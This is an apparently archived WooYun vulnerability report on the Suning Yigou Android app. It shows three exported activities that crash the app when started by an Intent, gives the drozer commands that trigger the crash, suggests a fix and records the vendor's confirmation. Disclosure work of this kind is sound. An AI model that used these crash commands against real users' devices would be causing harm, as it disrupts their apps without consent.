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缺陷编号:wooyun-2015-0118053

漏洞标题:苏宁易购Android客户端存在本地拒绝服务漏洞

相关厂商:江苏苏宁易购电子商务有限公司

漏洞作者: Zhe

提交时间:2015-06-04 10:41

修复时间:2015-09-03 17:56

公开时间:2015-09-03 17:56

漏洞类型:拒绝服务

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-06-04: 细节已通知厂商并且等待厂商处理中
2015-06-05: 厂商已经确认,细节仅向厂商公开
2015-06-08: 细节向第三方安全合作伙伴开放
2015-07-30: 细节向核心白帽子及相关领域专家公开
2015-08-09: 细节向普通白帽子公开
2015-08-19: 细节向实习白帽子公开
2015-09-03: 细节向公众公开

简要描述:

RT

详细说明:

先上图

1.jpg


暴露的activity:

dz> run app.activity.info -a com.suning.mobile.ebuy
Package: com.suning.mobile.ebuy
com.suning.mobile.ebuy.wxapi.WXEntryActivity
com.suning.mobile.ebuy.goodsdetail.ui.CargoDetailActivity
com.suning.mobile.ebuy.host.initial.InitialActivty
com.unionpay.upomp.bypay.activity.SplashActivity
com.suning.mobile.paysdk.ui.CashierPrepareActivity
com.tencent.tauth.AuthActivity
com.suning.dl.ebuy.dynamicload.SuningDLProxyActivity
com.suning.dl.ebuy.dynamicload.SuningDLProxySingleTaskActivity
com.suning.dl.ebuy.dynamicload.SuningDLProxyFragmentActivity


客户端的Activity:

com.suning.dl.ebuy.dynamicload.SuningDLProxyActivity
com.suning.dl.ebuy.dynamicload.SuningDLProxySingleTaskActivity
com.suning.dl.ebuy.dynamicload.SuningDLProxyFragmentActivity

对外暴露,发送Intent启动,会导致运行中的客户端直接崩溃退出
验证代码

dz> run app.activity.start --component com.suning.mobile.ebuy   com.suning.dl.ebuy.dynamicload.SuningDLProxyFragmentActivity
dz> run app.activity.start --component com.suning.mobile.ebuy com.suning.dl.ebuy.dynamicload.SuningDLProxySingleTaskActivity
dz> run app.activity.start --component com.suning.mobile.ebuy com.suning.dl.ebuy.dynamicload.SuningDLProxyActivity


漏洞证明:

先上图

1.jpg


暴露的activity:

dz> run app.activity.info -a com.suning.mobile.ebuy
Package: com.suning.mobile.ebuy
com.suning.mobile.ebuy.wxapi.WXEntryActivity
com.suning.mobile.ebuy.goodsdetail.ui.CargoDetailActivity
com.suning.mobile.ebuy.host.initial.InitialActivty
com.unionpay.upomp.bypay.activity.SplashActivity
com.suning.mobile.paysdk.ui.CashierPrepareActivity
com.tencent.tauth.AuthActivity
com.suning.dl.ebuy.dynamicload.SuningDLProxyActivity
com.suning.dl.ebuy.dynamicload.SuningDLProxySingleTaskActivity
com.suning.dl.ebuy.dynamicload.SuningDLProxyFragmentActivity


客户端的Activity:

com.suning.dl.ebuy.dynamicload.SuningDLProxyActivity
com.suning.dl.ebuy.dynamicload.SuningDLProxySingleTaskActivity
com.suning.dl.ebuy.dynamicload.SuningDLProxyFragmentActivity

对外暴露,发送Intent启动,会导致运行中的客户端直接崩溃退出
验证代码

dz> run app.activity.start --component com.suning.mobile.ebuy   com.suning.dl.ebuy.dynamicload.SuningDLProxyFragmentActivity
dz> run app.activity.start --component com.suning.mobile.ebuy com.suning.dl.ebuy.dynamicload.SuningDLProxySingleTaskActivity
dz> run app.activity.start --component com.suning.mobile.ebuy com.suning.dl.ebuy.dynamicload.SuningDLProxyActivity


修复方案:

设置export为false,或者在代码中添加try-catch捕获异常

版权声明:转载请注明来源 Zhe@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-05 17:54

厂商回复:

感谢提交,目测漏洞存在,稍后送上200元礼品卡。

最新状态:

暂无